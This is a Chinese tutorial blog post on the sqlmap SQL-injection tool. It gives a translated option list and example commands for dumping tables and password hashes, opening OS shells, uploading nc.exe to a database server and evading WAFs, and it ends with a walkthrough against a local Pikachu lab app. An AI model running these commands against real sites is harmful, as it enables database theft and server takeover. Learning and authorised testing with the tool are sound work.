SQLMAP介绍及使用

sqlmap 介绍

官网 https://sqlmap.org/
sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终
极渗透测试的良好特性和众多的操作选项,从数据库指纹、数据获取到访问底层文件系统、执行操作系统命令。

特点

全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB数据库
管理系统。
全面支持六种SQL注入技术:boolean-based盲注、time-based盲注、error-based、UNION查询、堆叠查询和带外查询。
通过提供DBMS凭证、IP地址、端口和数据库名,支持不通过SQL注入的直接连接数据库。
支持枚举用户、密码哈希、特权、角色、数据库、表和列。
自动识别密码哈希格式,支持基于字典的攻击破解。
支持完整转储数据库表,根据用户的选择转储一定范围内的条目或特定列。用户还可以选择只从每列中转储指定字符。
支持搜索特定的数据库名、表名,或跨表搜索特定的列名。这非常有用,例如,识别包含自定义应用程序凭证的表,其相关列名称可能包含
name、pass等字符串。
支持通过数据库服务器所在的文件系统下载和上传任何文件,当数据库软件是MySQL, PostgreSQL或Microsoft SQL server时。
支持通过数据库服务器所在的操作系统执行任意命令并获取输出,当数据库软件为MySQL、PostgreSQL或Microsoft SQL server时。
支持在攻击者机器和数据库服务器所在操作系统之间建立带外有状态的TCP连接,这个通道根据用户的选择可以是交互式命令行、
Meterpreter会话或图形用户界面(VNC)。
支持通过Metasploit的getsystem命令实现数据库进程的用户权限升级。

SQLMAP支持的五种不同的注入方式
B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)

下载

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

访问官网下载:https://sqlmap.org/

在kali中自带sqlmap

更新sqlmap

python sqlmap.py --update

或者

sqlmap --update

帮助文档

显示终端帮助文档

sqlmap -h

显示sqlmap详细的帮助文档

sqlmap -hh

帮助文档中文翻译

用法:python sqlmap.py [选项]

选项:
-h, --help      显示基本帮助信息并退出
-hh          显示高级帮助信息并退出
--version       显示程序版本信息并退出
-v VERBOSE      输出信息详细程度级别:0-6(默认为 1)

目标:
  至少提供一个以下选项以指定目标
 -d DIRECT      直接连接数据库
 -u URL, --url=URL  目标 URL(例如:"http://www.site.com/vuln.php?id=1")
 -l LOGFILE     从 Burp 或 WebScarab 代理的日志文件中解析目标地址
 -x SITEMAPURL    从远程网站地图(.xml)文件中解析目标
 -m BULKFILE     从文本文件中获取批量目标
 -r REQUESTFILE   从文件中读取 HTTP 请求
 -g GOOGLEDORK    使用 Google dork 结果作为目标
 -c CONFIGFILE    从 INI 配置文件中加载选项
 
请求:
  以下选项可以指定连接目标地址的方式
  --method=METHOD   强制使用提供的 HTTP 方法(例如:PUT)
 --data=DATA     使用 POST 发送数据串
 --param-del=PARA.. 设置参数值分隔符
 --cookie=COOKIE   指定 HTTP Cookie
 --cookie-del=COO.. 设置 cookie 分隔符
 --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件
 --drop-set-cookie  忽略 HTTP 响应中的 Set-Cookie 参数
 --user-agent=AGENT 指定 HTTP User-Agent
 --random-agent   使用随机的 HTTP User-Agent
 --host=HOST     指定 HTTP Host
 --referer=REFERER  指定 HTTP Referer
 -H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
 --headers=HEADERS  设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
 --auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
 --auth-cred=AUTH.. HTTP 认证凭证(username:password)
 --auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件
 --ignore-code=IG.. 忽略 HTTP 错误码(例如:401)
 --ignore-proxy   忽略系统默认代理设置
 --ignore-redirects 忽略重定向尝试
 --ignore-timeouts  忽略连接超时
 --proxy=PROXY    使用代理连接目标 URL
 --proxy-cred=PRO.. 使用代理进行认证(username:password)
 --proxy-file=PRO.. 从文件中加载代理列表
 --tor        使用 Tor 匿名网络
 --tor-port=TORPORT 设置 Tor 代理端口代替默认端口
 --tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
 --check-tor     检查是否正确使用了 Tor
 --delay=DELAY    设置每个 HTTP 请求的延迟秒数
 --timeout=TIMEOUT  设置连接响应的有效秒数(默认为 30)
 --retries=RETRIES  连接超时时重试次数(默认为 3)
 --randomize=RPARAM 随机更改给定的参数值
 --safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注:
           有些网站在你连续多次访问错误地址时会关闭会话连接,
           后面的“请求”小节有详细说明)
 --safe-post=SAFE.. 使用 POST 方法发送合法的数据
 --safe-req=SAFER.. 从文件中加载合法的 HTTP 请求
 --safe-freq=SAFE.. 每访问两次给定的合法 URL 才发送一次测试请求
 --skip-urlencode  不对 payload 数据进行 URL 编码
 --csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token
 --csrf-url=CSRFURL 指定可提取反 CSRF 攻击 token 的 URL
 --force-ssl     强制使用 SSL/HTTPS
 --hpp        使用 HTTP 参数污染攻击
 --eval=EVALCODE   在发起请求前执行给定的 Python 代码(例如:
           "import hashlib;id2=hashlib.md5(id).hexdigest()")
           
优化:
 以下选项用于优化 sqlmap 性能
 -o         开启所有优化开关
 --predict-output  预测常用请求的输出
 --keep-alive    使用持久的 HTTP(S) 连接
 --null-connection  仅获取页面大小而非实际的 HTTP 响应
 --threads=THREADS  设置 HTTP(S) 请求并发数最大值(默认为 1)
 
注入:
 以下选项用于指定要测试的参数,
 提供自定义注入 payloads 和篡改参数的脚本
 -p TESTPARAMETER  指定需要测试的参数
 --skip=SKIP     指定要跳过的参数
 --skip-static    指定跳过非动态参数
 --param-exclude=.. 用正则表达式排除参数(例如:"ses")
 --dbms=DBMS     指定 DBMS 类型(例如:MySQL)
 --dbms-cred=DBMS.. DBMS 认证凭据(username:password)
 --os=OS       指定 DBMS 服务器的操作系统类型
 --invalid-bignum  将无效值设置为大数
 --invalid-logical  对无效值使用逻辑运算
 --invalid-string  对无效值使用随机字符串
 --no-cast      关闭 payload 构造机制
 --no-escape     关闭字符串转义机制
 --prefix=PREFIX   注入 payload 的前缀字符串
 --suffix=SUFFIX   注入 payload 的后缀字符串
 --tamper=TAMPER   用给定脚本修改注入数据
 
检测:
 以下选项用于自定义检测方式
 --level=LEVEL    设置测试等级(1-5,默认为 1)
 --risk=RISK     设置测试风险等级(1-3,默认为 1)
 --string=STRING   用于确定查询结果为真时的字符串
 --not-string=NOT.. 用于确定查询结果为假时的字符串
 --regexp=REGEXP   用于确定查询结果为真时的正则表达式
 --code=CODE     用于确定查询结果为真时的 HTTP 状态码
 --text-only     只根据页面文本内容对比页面
 --titles      只根据页面标题对比页面
 
 技术:
 以下选项用于调整特定 SQL 注入技术的测试方法
 --technique=TECH  使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
           B: Boolean-based blind SQL injection(布尔型盲注)
           E: Error-based SQL injection(报错型注入)
           U: UNION query SQL injection(联合查询注入)
           S: Stacked queries SQL injection(堆查询注入)
           T: Time-based blind SQL injection(时间型盲注)
           Q: inline Query injection(内联查询注入)
 --time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5)
 --union-cols=UCOLS 设置联合查询注入测试的列数目范围
 --union-char=UCHAR 用于暴力猜解列数的字符
 --union-from=UFROM 设置联合查询注入 FROM 处用到的表
 --dns-domain=DNS.. 设置用于 DNS 渗出攻击的域名(译者注:
           推荐阅读《在SQL注入中使用DNS获取数据》
           http://cb.drops.wiki/drops/tips-5283.html,
           在后面的“技术”小节中也有相应解释)
 --second-order=S.. 设置二阶响应的结果显示页面的 URL(译者注:
           该选项用于二阶 SQL 注入)
           
指纹识别:
 -f, --fingerprint  执行广泛的 DBMS 版本指纹识别
 
枚举:
  以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。
  此外,还可以运行你输入的 SQL 语句
 -a, --all      获取所有信息、数据
 -b, --banner    获取 DBMS banner
 --current-user   获取 DBMS 当前用户
 --current-db    获取 DBMS 当前数据库
 --hostname     获取 DBMS 服务器的主机名
 --is-dba      探测 DBMS 当前用户是否为 DBA(数据库管理员)
 --users       枚举出 DBMS 所有用户
 --passwords     枚举出 DBMS 所有用户的密码哈希
 --privileges    枚举出 DBMS 所有用户特权级
 --roles       枚举出 DBMS 所有用户角色
 --dbs        枚举出 DBMS 所有数据库
 --tables      枚举出 DBMS 数据库中的所有表
 --columns      枚举出 DBMS 表中的所有列
 --schema      枚举出 DBMS 所有模式
 --count       获取数据表数目
 --dump       导出 DBMS 数据库表项
 --dump-all     导出所有 DBMS 数据库表项
 --search      搜索列,表和/或数据库名
 --comments     获取 DBMS 注释
 -D DB        指定要枚举的 DBMS 数据库
 -T TBL       指定要枚举的 DBMS 数据表
 -C COL       指定要枚举的 DBMS 数据列
 -X EXCLUDECOL    指定要排除的 DBMS 数据列
 -U USER       指定枚举的 DBMS 用户
 --exclude-sysdbs  枚举所有数据表时,指定排除特定系统数据库
 --pivot-column=P.. 指定主列
 --where=DUMPWHERE  在转储表时使用 WHERE 条件语句
 --start=LIMITSTART 指定要导出的数据表条目开始行数
 --stop=LIMITSTOP  指定要导出的数据表条目结束行数
 --first=FIRSTCHAR  指定获取返回查询结果的开始字符位
 --last=LASTCHAR   指定获取返回查询结果的结束字符位
 --sql-query=QUERY  指定要执行的 SQL 语句
 --sql-shell     调出交互式 SQL shell
 --sql-file=SQLFILE 执行文件中的 SQL 语句
 
暴力破解:
 以下选项用于暴力破解测试
 --common-tables   检测常见的表名是否存在
 --common-columns  检测常用的列名是否存在
 
用户自定义函数注入:
 以下选项用于创建用户自定义函数
 --udf-inject    注入用户自定义函数
 --shared-lib=SHLIB 共享库的本地路径
 
访问文件系统:
 以下选项用于访问后端数据库管理系统的底层文件系统
 --file-read=RFILE  读取后端 DBMS 文件系统中的文件
 --file-write=WFILE 写入后端 DBMS 文件系统中的文件
 --file-dest=DFILE  使用文件绝对路径写入到后端 DBMS
 
访问操作系统:
 以下选项用于访问后端数据库管理系统的底层操作系统
 --os-cmd=OSCMD   执行操作系统命令
 --os-shell     调出交互式操作系统 shell
 --os-pwn      调出 OOB shell,Meterpreter 或 VNC
 --os-smbrelay    一键调出 OOB shell,Meterpreter 或 VNC
 --os-bof      利用存储过程的缓冲区溢出
 --priv-esc     数据库进程用户提权
 --msf-path=MSFPATH Metasploit 框架的本地安装路径
 --tmp-path=TMPPATH 远程临时文件目录的绝对路径

访问 Windows 注册表:
 以下选项用于访问后端数据库管理系统的 Windows 注册表
 --reg-read     读取一个 Windows 注册表键值
 --reg-add      写入一个 Windows 注册表键值数据
 --reg-del      删除一个 Windows 注册表键值
 --reg-key=REGKEY  指定 Windows 注册表键
 --reg-value=REGVAL 指定 Windows 注册表键值
 --reg-data=REGDATA 指定 Windows 注册表键值数据
 --reg-type=REGTYPE 指定 Windows 注册表键值类型

通用选项:
 以下选项用于设置通用的参数
 -s SESSIONFILE   从文件(.sqlite)中读入会话信息
 -t TRAFFICFILE   保存所有 HTTP 流量记录到指定文本文件
 --batch       从不询问用户输入,使用默认配置
 --binary-fields=.. 具有二进制值的结果字段(例如:"digest")
 --check-internet  在访问目标之前检查是否正常连接互联网
 --crawl=CRAWLDEPTH 从目标 URL 开始爬取网站
 --crawl-exclude=.. 用正则表达式筛选爬取的页面(例如:"logout")
 --csv-del=CSVDEL  指定输出到 CVS 文件时使用的分隔符(默认为“,”)
 --charset=CHARSET  指定 SQL 盲注字符集(例如:"0123456789abcdef")
 --dump-format=DU.. 导出数据的格式(CSV(默认),HTML 或 SQLITE)
 --encoding=ENCOD.. 指定获取数据时使用的字符编码(例如:GBK)
 --eta        显示每个结果输出的预计到达时间
 --flush-session   清空当前目标的会话文件
 --forms       解析并测试目标 URL 的表单
 --fresh-queries   忽略存储在会话文件中的查询结果
 --har=HARFILE    将所有 HTTP 流量记录到一个 HAR 文件中
 --hex        获取数据时调用 DBMS 的 hex 函数
 --output-dir=OUT.. 自定义输出目录路径
 --parse-errors   从响应中解析并显示 DBMS 错误信息
 --save=SAVECONFIG  将选项设置保存到一个 INI 配置文件
 --scope=SCOPE    用正则表达式从提供的代理日志中过滤目标
 --test-filter=TE.. 根据 payloads 和/或标题(例如:ROW)选择测试
 --test-skip=TEST.. 根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
 --update      更新 sqlmap

其他选项:
 -z MNEMONICS    使用短助记符(例如:“flu,bat,ban,tec=EU”)
 --alert=ALERT    在找到 SQL 注入时运行 OS 命令
 --answers=ANSWERS  设置问题答案(例如:“quit=N,follow=N”)
 --beep       出现问题提醒或在发现 SQL 注入时发出提示音
 --cleanup      指定移除 DBMS 中的特定的 UDF 或者数据表
 --dependencies   检查 sqlmap 缺少什么(非核心)依赖
 --disable-coloring 关闭彩色控制台输出
 --gpage=GOOGLEPAGE 指定页码使用 Google dork 结果
 --identify-waf   针对 WAF/IPS/IDS 保护进行彻底的测试
 --mobile      使用 HTTP User-Agent 模仿智能手机
 --offline      在离线模式下工作(仅使用会话数据)
 --purge-output   安全地删除输出目录的所有内容
 --skip-waf     跳过启发式检测 WAF/IPS/IDS 保护
 --smart       只有在使用启发式检测时才进行彻底的测试
 --sqlmap-shell   调出交互式 sqlmap shell
 --tmp-dir=TMPDIR  指定用于存储临时文件的本地目录
 --web-root=WEBROOT 指定 Web 服务器根目录(例如:"/var/www")
 --wizard      适合初级用户的向导界面

SQLMAP使用

常用命令

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1
sqlmap -u “http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2” -v 1
-u 和–url参数一样 都是代表填写测试的url连接 如果存在&符号需要添加把url放在双引号内
-v 表示 输出信息详细程度级别:0-6(默认为 1)

0:只显示Python回源(tracebacks),错误(error)和关键(criticle)信息。
1:同时显示信息(info)和警告信息(warning)(默认为1)
2: 同时显示调试信息(debug)
3:同时显示注入的有效载荷(payloads)
4:同时显示http请求
5:同时显示http响应头
6:同时显示http响应内容

级别越高,信息就越详细,根据需求选择合适的输出信息。

指定目标

sqlmap 有两种指定目标的方式:

1.使用 -u 指定 测试url(注入点为 get 时使用)

2.使用 -r 指定 请求文件进行请求(注入点为 post 时使用)

指定某个url进行测试
sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

从文件中加载http请求测试
sqlmap -r url.txt

从burpsuite或者日志读取http包
sqlmap -l post.txt

从文本中获取多个目标扫描
sqlmap -m url.txt

url文本内容为:

http://www.moonsec.com/index.php?id=1
http://www.moonsec.com/new.php?id=1
http://www.moonsec.com/awd.php?id=1

从谷歌引擎搜索结果扫描
sqlmap可以测试注入google的搜索结果中的get参数

python sqlmap.py -g "inurl:\".php?id=1\""

sqlmap请求设置

post数据

参数:–data
此参数是把数据以post方式提交,sqlmap会自动检测post参数

sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查询"

参数拆分字符
参数:–param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
例子:sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs -- users

cookie头设置

参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或
者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头
参数:–user-agent,–random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。
当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头
参数:–referer
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头
参数:–headers
可以通过–headers参数来增加额外的http头
HTTP认证保护

参数:–auth-type,–auth-cred
这些参数可以用来登陆HTTP的认证保护支持三种方式:
1、Basic
2、Digest
3、NTLM
例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred
"testuser:testpass"

HTTP(S)代理设置

参数:–proxy,–proxy-cred和–ignore-proxy
使用–proxy代理是格式为:http://url:port。
当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。
–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:–timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:–retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

sqlmap注入设置

指定测试参数

参数:-p,–skip
sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-
Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。
例如:--skip="user-angent.referer"
在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

自动选择(不用输入yes or no)

参数:–batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

指定注入数据库类型

参数:–dbms
默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定注入数据库服务器系统

参数:–os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:–invalid-bignum
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报
错。

只定无效的逻辑

参数:–invalid-logical
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:–prefix,–suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" -- suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入数据(绕过防火墙或者WAF拦截)

参数:–tamper
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。
下面是一个tamper脚本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
 '''
 Description of your tamper script
 '''
 retVal = payload
 # your code to tamper the original payload
 # return the tampered payload
 return retVal

使用 --list-tampers 可以查看有哪些脚本以及简单介绍

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-leuyQQrp-1657100369984)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706160531368.png)]

探测等级

参数:–level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,
HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:–risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

指定注入技术

参数:–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec
当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

sqlmap 爆数据参数

爆数据库版本

参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

爆数据库用户

参数:-current-user
在大多数据库中可以获取到管理数据的用户。

爆当前数据库

参数:–current-db

返还当前连接的数据库。

查看当前用户是否为管理用户

参数:–is-dba
判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_id.php" -data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id --passwords

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n4Qh5T3H-1657100369985)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706161342417.png)]

列出数据库系统的数据库

参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

获取表中数据个数

参数:–count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs
使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中
master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D
–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:

-C	# 后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T	# 后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D	# 后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

预估完成时间

参数:–eta
可以计算注入数据的剩余时间。

sqlmap文件和命令操作

运行任意操作系统命令

条件:数据库权限为 DBA 权限

参数:–os-cmd,–os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft
SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

从数据库服务器中读取文件

条件:数据库权限为 DBA 权限

参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文
件。

例子:

sqlmap -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --file-read "C:/example.exe" -v 1

把文件上传到数据库服务器中

条件:数据库权限为 DBA 权限

参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文
件。

例子:

sqlmap -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

其他参数

忽略在会话文件中存储的查询结果

参数:–fresh-queries
忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:–hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免

使用参数缩写
参数:-z
有使用参数太长太复杂,可以使用缩写模式。 例如:

sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:

sqlmap -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:

sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:

sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

启发式检测WAF/IPS/IDS保护

参数:–check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的
参数来注入测试

测试WAF/IPS/IDS保护

参数:–identify-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如:

sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

模仿智能手机

参数:–mobile
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:

sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile

删除缓存文件

参数:–flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

sqlmap 优化

修改默认最大线程

修改 lib/core/settings.py 文件
默认最大线程是10 可以设置线程最大为100

MAX_NUMBER_OF_THREADS = 100

结果如下:

在这里插入图片描述

修改默认的浏览器

在sqlmap中使用默认设置进行注入检测会在cookie中带有sqlmap的字符,容易被waf拦截

同样修改 lib/core/settings.py 文件

DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"

结果如下:

在这里插入图片描述

实战测试使用

首先我们查找到一个注入点:

http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2

查看当前数据库,用户,是否为dba,所有数据库

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --current-db --current-user --is-dba --dbs --batch

-p 指定注入点

–current-db 查看当前数据库

–current-user 查看数据库用户

–is-dba 查看是否为dba

–dbs 查看所有数据库

–batch 默认选择

结果如下:

在这里插入图片描述

查看指定数据库下面的表

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu --tables --batch

-D 指定数据库

-tables 查看表

结果如下:

在这里插入图片描述

查看指定表下面的字段

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu -T users --columns --batch

-T 指定表

–columns 查看字段

结果如下:

在这里插入图片描述

查看指定字段的值

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu -T users -C username,password --dump --batch

-C 指定字段

–dump 查看值

结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZE8nNV6N-1657100369989)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706171241113.png)]

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值